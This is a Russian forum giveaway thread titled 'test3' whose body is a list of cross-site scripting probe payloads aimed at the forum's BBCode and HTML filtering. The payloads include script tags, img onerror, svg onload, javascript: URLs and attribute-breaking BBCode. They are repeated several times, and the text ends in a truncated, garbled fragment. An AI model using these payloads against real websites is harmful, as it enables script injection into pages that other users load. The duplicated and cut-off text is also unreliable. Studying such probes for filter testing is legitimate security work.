test3
- Автор темы zapad
- Дата начала
Информация о розыгрыше:
Длительность розыгрыша:
до набора всех участников
Количество победителей:
1
Критерий:
Сообщения: 0,
Реакции: 0,
Баллы: 0,
Дней с регистрации: 0,
Группы пользователей: Учитывать все
Примечание:
Случайных победителей определяет бот нашего форума, когда наберется нужное количество участников или настанет момент времени, указанный выше.
2 / 2
Участники:
Победители:
1. Basic script tag:
<script>alert('XSS1')</script>
2. IMG onerror:
![](http://x" onerror="alert('XSS2'))
3. URL with javascript:
Click me
4. BBCode URL with event:
javascript:alert('XSS4')
5. IMG with SVG:
data:image/svg+xml,<svg onload=alert('XSS5')>
6. Nested BBCode:
<img src=x onerror=alert('XSS6')>
7. Media embed:
8. HTML in plain text:
<img src=x onerror=alert('XSS8')>
9. BBCode ISPOILER with event:
<details open ontoggle=alert('XSS9')><summary>x</summary>
10. URL with data:
link
11. Raw HTML injection:
<div onmouseover="alert('XSS11')">hover me</div>
12. BBCode COLOR with injection:
[COLOR="red" onmouseover="alert('XSS12')"]text[/COLOR]
<script>alert('XSS1')</script>
2. IMG onerror:
3. URL with javascript:
Click me
4. BBCode URL with event:
javascript:alert('XSS4')
5. IMG with SVG:
data:image/svg+xml,<svg onload=alert('XSS5')>
6. Nested BBCode:
<img src=x onerror=alert('XSS6')>
7. Media embed:
8. HTML in plain text:
<img src=x onerror=alert('XSS8')>
9. BBCode ISPOILER with event:
<details open ontoggle=alert('XSS9')><summary>x</summary>
10. URL with data:
link
11. Raw HTML injection:
<div onmouseover="alert('XSS11')">hover me</div>
12. BBCode COLOR with injection:
[COLOR="red" onmouseover="alert('XSS12')"]text[/COLOR]
1. Basic script tag:
<script>alert('XSS1')</script>
2. IMG onerror:
3. URL with javascript:
Click me
4. BBCode URL with event:
javascript:alert('XSS4')
5. IMG with SVG:
data:image/svg+xml,<svg onload=alert('XSS5')>
6. Nested BBCode:
<img src=x onerror=alert('XSS6')>
7. Media embed:
8. HTML in plain text:
<img src=x onerror=alert('XSS8')>
9. BBCode ISPOILER with event:
<details open ontoggle=alert('XSS9')><summary>x</summary>
10. URL with data:
link
11. Raw HTML injection:
<div onmouseover="alert('XSS11')">hover me</div>
12. BBCode COLOR with injection:
[COLOR="red" onmouseover="alert('XSS12')"]text[/COLOR]
<script>alert('XSS1')</script>
2. IMG onerror:
3. URL with javascript:
Click me
4. BBCode URL with event:
javascript:alert('XSS4')
5. IMG with SVG:
data:image/svg+xml,<svg onload=alert('XSS5')>
6. Nested BBCode:
<img src=x onerror=alert('XSS6')>
7. Media embed:
8. HTML in plain text:
<img src=x onerror=alert('XSS8')>
9. BBCode ISPOILER with event:
<details open ontoggle=alert('XSS9')><summary>x</summary>
10. URL with data:
link
11. Raw HTML injection:
<div onmouseover="alert('XSS11')">hover me</div>
12. BBCode COLOR with injection:
[COLOR="red" onmouseover="alert('XSS12')"]text[/COLOR]
# базовые пробы «вылезли ли из текстового узла»
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
# разрыв атрибута (для BB-тегов с параметрами, , [img]) "><img src=x onerror=alert...итет на 2.3.9) @[что-то с закрытием разметки]
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
# разрыв атрибута (для BB-тегов с параметрами, , [img]) "><img src=x onerror=alert...итет на 2.3.9) @[что-то с закрытием разметки]
- Статус